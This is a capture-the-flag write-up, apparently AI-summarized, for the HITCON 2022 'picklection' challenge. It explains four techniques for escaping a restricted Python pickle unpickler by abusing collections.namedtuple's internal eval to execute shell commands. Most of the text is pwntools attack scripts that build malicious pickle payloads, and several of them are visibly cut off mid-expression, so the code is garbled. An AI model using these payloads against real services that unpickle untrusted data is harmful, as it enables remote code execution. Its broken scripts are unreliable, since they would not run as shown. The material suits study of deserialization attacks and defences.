# HITCON 2022 picklection > Summarized by AI from the [HITCON 2022 organizers' writeup](), [splitline's writeup]() ([exploit]()), and the [NeSE team's writeup](). May contain errors. This challenge uses Python 3.9.13. Challenge archive [here](). ``` #!/usr/local/bin/python3 import pickle, collections, io class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == 'collections' and '__' not in name: return getattr(collections, name) raise pickle.UnpicklingError('bad') data = bytes.fromhex(input("(hex)> ")) RestrictedUnpickler(io.BytesIO(data)).load() ``` Requirements: 1. Pickle `find_class` limited to `collections` module without `__`: use `collections.namedtuple` where a malicious field name with RCE reaches `eval` as a default argument expression `collections.namedtuple` internally calls `eval()` to construct a lambda for `__new__` ([Python 3.9 source]()): ``` # Step 1: field_names is converted to a list of strings if isinstance(field_names, str): field_names = field_names.replace(',', ' ').split() field_names = list(map(str, field_names)) # (A) # Step 2: validation - each name must be a valid identifier for name in [typename] + field_names: # (B) if type(name) is not str: raise TypeError(...) if not name.isidentifier(): raise ValueError(...) if _iskeyword(name): raise ValueError(...) # Step 3: further checks on field names seen = set() for name in field_names: # (C) if name.startswith('_') and not rename: raise ValueError(...) if name in seen: raise ValueError(...) seen.add(name) # Step 4: final processing and eval field_names = tuple(map(_sys.intern, field_names)) # (D) arg_list = ', '.join(field_names) # (E) code = f'lambda _cls, {arg_list}: _tuple_new(_cls, ({arg_list}))' __new__ = eval(code, namespace) # (F) ``` To inject a malicious payload into `eval`, we must bypass checks at (B) and (C) while still having the payload end up in `arg_list` at (E). The approaches below override function names in `collections` globals via the `__getattr__` mechanism to achieve this. The namespace at (F) has `__builtins__: {}`, so the payload must obtain real builtins through other means. ## Approach A: `UserDict.__radd__` (organizers) **How it works:** 1. **Bypass validation**: Set `UserDict.__radd__ = _chain` via `BUILD` slotstate. When `namedtuple` does `[typename] + field_names`, Python tries `list.__add__(field_names)` first, gets `NotImplemented`, then calls `field_names.__radd__([typename])` which is `_chain([typename])`, yielding only `[typename]`. The payload is never visited during the identifier validation loop. 2. **Override `map`/`list`**: Update `_collections_abc.__all__` to include `"map"` and `"list"`, set `_collections_abc.map = defaultdict` and `_collections_abc.list = UserDict`. Accessing `collections.map`/`list` triggers `__getattr__`, injecting them into `collections.__dict__`. 3. **Inject payload**: Call `namedtuple("a", {payload: 0})`. Inside namedtuple: - `list(map(str, field_names))` -\> `UserDict(defaultdict(str, {payload: 0}))` -- a UserDict with payload as key - Validation loop only sees `"a"` (due to `__radd__` trick) - `tuple(map(_sys.intern, field_names))` -\> `(payload,)` -- payload becomes the sole field name - `arg_list = ', '.join(field_names)` -\> the payload string - `eval(f'lambda _cls, {payload}: ...')` evaluates the default argument expression, executing the command Attack script: ``` #!/usr/bin/env python3 from pwn import * import pickle, struct context.log_level = 'error' HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 48763 CMD = sys.argv[3] if len(sys.argv) > 3 else 'cat /home/ctf/flag' def short_binunicode(s): data = s.encode('utf-8'); assert len(data) < 256 return pickle.SHORT_BINUNICODE + bytes([len(data)]) + data def stack_global(m, n): return short_binunicode(m) + short_binunicode(n) + pickle.STACK_GLOBAL p = b'' # setattr(UserDict, "__radd__", _chain) via BUILD slotstate p += stack_global('collections', 'UserDict') + pickle.MARK + pickle.NONE + pickle.EMPTY_DICT p += short_binunicode('__radd__') + stack_global('collections', '_chain') p += pickle.SETITEM + pickle.TUPLE + pickle.BUILD + pickle.POP # Modify _collections_abc.__all__ via BUILD, set map/list for __getattr__ p += stack_global('collections', '_collections_abc') + pickle.MARK + pickle.EMPTY_DICT p += short_binunicode('__all__') + pickle.EMPTY_LIST p += short_binunicode('map'); p += pickle.APPEND p += short_binunicode('list'); p += pickle.APPEND p += pickle.SETITEM p += short_binunicode('map') + stack_global('collections', 'defaultdict') + pickle.SETITEM p += short_binunicode('list') + stack_global('collections', 'UserDict') + pickle.SETITEM p += pickle.EMPTY_DICT + pickle.TUPLE + pickle.BUILD + pickle.POP # Trigger __getattr__ to inject map/list into collections globals p += stack_global('collections', 'map'); p += pickle.POP p += stack_global('collections', 'list'); p += pickle.POP # namedtuple("a", {payload: 0}) -> eval triggers RCE payload = f"a = ().__class__.__base__.__subclasses__()[84]().load_module('os').system('{CMD}'): 1 #" p += stack_global('collections', 'namedtuple') + pickle.MARK + short_binunicode('a') + pickle.EMPTY_DICT p += pickle.BINUNICODE + struct.pack(' ') r.sendline((pickle.PROTO + b'\x04' + p).hex().encode()) print(r.recvall(timeout=3).decode(errors='replace')) ``` ## Approach B: UserString manipulation (splitline) **How it works:** Instead of `UserDict.__radd__`, this approach manipulates `UserString` and internal functions to redirect the namedtuple flow: 1. **Set up `__getattr__` injectees**: Add `_check_methods`, `_type_repr`, `abstractmethod`, `map`, `tuple`, `str` to `_collections_abc.__all__`. Set corresponding attributes on `_collections_abc` so `__getattr__` injects them into `collections`. 2. **Replace key functions**: - `UserString.replace` -\> `_check_methods` (class attribute via BUILD slotstate) - `UserString.__str__` -\> `_type_repr` - `Counter_instance.split` -\> `_check_methods` (instance attribute) - `_check_methods.__defaults__` -\> `(abstractmethod,)` (so zero-arg call uses `abstractmethod` as default) - `abstractmethod.__mro__` -\> `()` (so `getattr` on it returns empty tuple) - `_sys.intern` -\> `abstractmethod` - `_collections_abc.NotImplemented` -\> `Counter()` instance (so `_check_methods` returns it instead of raising) 3. **Prepare payload**: Set `Counter_instance.__qualname__ = [payload]` and `Counter_instance.__module__ = "builtins"`. The payload uses `[].__reduce_ex__(3)[0].__globals__["__builtins__"]` to get real builtins without hardcoded subclass indices. 4. **Trigger**: Calling `namedtuple(UserString("x"), UserString("x"))` with all the overrides in place causes the flow to route the payload into the lambda's default argument expression, executing the command. Attack script: ``` #!/usr/bin/env python3 from pwn import * import pickle, struct context.log_level = 'error' HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 48763 CMD = sys.argv[3] if len(sys.argv) > 3 else 'id' P = pickle # shorthand class PickleBuilder: def __init__(self): self.p = P.PROTO + b'\x04'; self.memos = {}; self.next_memo = 0 def short_binunicode(self, s): data = s.encode('utf-8'); assert len(data) < 256 return P.SHORT_BINUNICODE + bytes([len(data)]) + data def stack_global(self, m, n): return self.short_binunicode(m) + self.short_binunicode(n) + P.STACK_GLOBAL def memoize(self): idx = self.next_memo; self.next_memo += 1 return P.MEMOIZE, idx def binget(self, idx): return P.BINGET + bytes([idx]) if idx < 256 else P.LONG_BINGET + struct.pack(' ') r.sendline(build_exploit().hex().encode()) print(r.recvall(timeout=3).decode(errors='replace')) ``` ## Approach C: ABCMeta + `_tuple_new` redirection (maple3142) **How it works:** The key insight: when `namedtuple` executes `_tuple_new = tuple.__new__`, `tuple` is looked up from `collections.__dict__`. If `collections.tuple` has been replaced with a custom class `XC` (via `__getattr__`), then `_tuple_new` becomes `XC.__new__` -- which is set to `_check_methods`, a Python function with `__globals__`. The eval code can then access `_tuple_new.__globals__["__builtins__"]` to get real builtins. 1. Set `_collections_abc.__all__` to include `"_type_repr"`, `"_check_methods"`, `"ABCMeta"`, `"tuple"`. Get `_check_methods` and `ABCMeta` via `__getattr__`. 2. Create `XC = ABCMeta("XC", (), {"__new__": _check_methods})` -- a class whose `__new__` is `_check_methods`. 3. Set `_collections_abc.NotImplemented = [payload]` -- so `_check_methods` returns the payload list when method check fails. 4. Set `_collections_abc.tuple = XC` -- injected into `collections` globals via `__getattr__`. 5. Call `namedtuple('x', [])`. Inside namedtuple, `tuple(...)` resolves to `XC(...)`, calling `_check_methods` which returns the payload list. The payload ends up in `arg_list`. The `#` in the payload comments out the rest, leaving `lambda _cls, a: 1, _tuple_new.__globals__["__builtins__"].__import__("os").system("cmd")` -- a tuple whose second element executes the command. ``` #!/usr/bin/env python3 from pwn import * import pickle, struct context.log_level = 'error' HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 48763 CMD = sys.argv[3] if len(sys.argv) > 3 else 'id' P = pickle class PickleBuilder: def __init__(self): self.p = P.PROTO + b'\x04'; self.memos = {}; self.next_memo = 0 def short_binunicode(self, s): data = s.encode('utf-8'); assert len(data) < 256 return P.SHORT_BINUNICODE + bytes([len(data)]) + data def stack_global(self, m, n): return self.short_binunicode(m) + self.short_binunicode(n) + P.STACK_GLOBAL def memoize(self): idx = self.next_memo; self.next_memo += 1 return P.MEMOIZE, idx def binget(self, idx): return P.BINGET + bytes([idx]) if idx < 256 else P.LONG_BINGET + struct.pack(' ') r.sendline(pb.p.hex().encode()) print(r.recvall(timeout=3).decode(errors='replace')) ``` ## Approach D: `_itemgetter` + `namedtuple.__kwdefaults__` (NeSE team) **How it works:** From the [NeSE team's writeup](). The trick: `list(map(str, field_names))` and `tuple(map(_sys.intern, field_names))` use different overrides for `list` and `tuple`, so validation sees a benign name while the payload goes to `eval`. 1. Create `ig2 = _itemgetter(2)`, `ig3 = _itemgetter(3)`. These extract specific indices from sequences. 2. Build a `defaults` list `['', '', ['z'], [payload]]` and set `namedtuple.__kwdefaults__` so a subsequent `namedtuple('b', ['b1','b2','b3','b4'])` uses them. 3. Create `tuple2 = namedtuple('b', ['b1','b2','b3','b4'])` -- a namedtuple with 4 fields where the last 2 have defaults `['z']` and `[payload]`. 4. Replace `collections.map` -\> `tuple2`, `collections.list` -\> `_itemgetter(2)`, `collections.tuple` -\> `_itemgetter(3)` via `_collections_abc.__all__`. Inside `namedtuple('a', [])`: - `list(map(str, field_names))` -\> `_itemgetter(2)(tuple2(str, []))` -\> `['z']` (passes validation) - `tuple(map(_sys.intern, field_names))` -\> `_itemgetter(3)(tuple2(sys.intern, ['z']))` -\> `[payload]` - `arg_list = payload` -\> `lambda _cls, z=EXPLOIT:0` -- eval executes the default argument ``` #!/usr/bin/env python3 from pwn import * import pickle, struct context.log_level = 'error' HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 48763 CMD = sys.argv[3] if len(sys.argv) > 3 else 'id' P = pickle class PickleBuilder: def __init__(self): self.p = P.PROTO + b'\x04'; self.memos = {}; self.next_memo = 0 def short_binunicode(self, s): data = s.encode('utf-8'); assert len(data) < 256 return P.SHORT_BINUNICODE + bytes([len(data)]) + data def stack_global(self, m, n): return self.short_binunicode(m) + self.short_binunicode(n) + P.STACK_GLOBAL def memoize(self): idx = self.next_memo; self.next_memo += 1 return P.MEMOIZE, idx def binget(self, idx): return P.BINGET + bytes([idx]) if idx < 256 else P.LONG_BINGET + struct.pack(' ') r.sendline(pb.p.hex().encode()) print(r.recvall(timeout=3).decode(errors='replace')) ```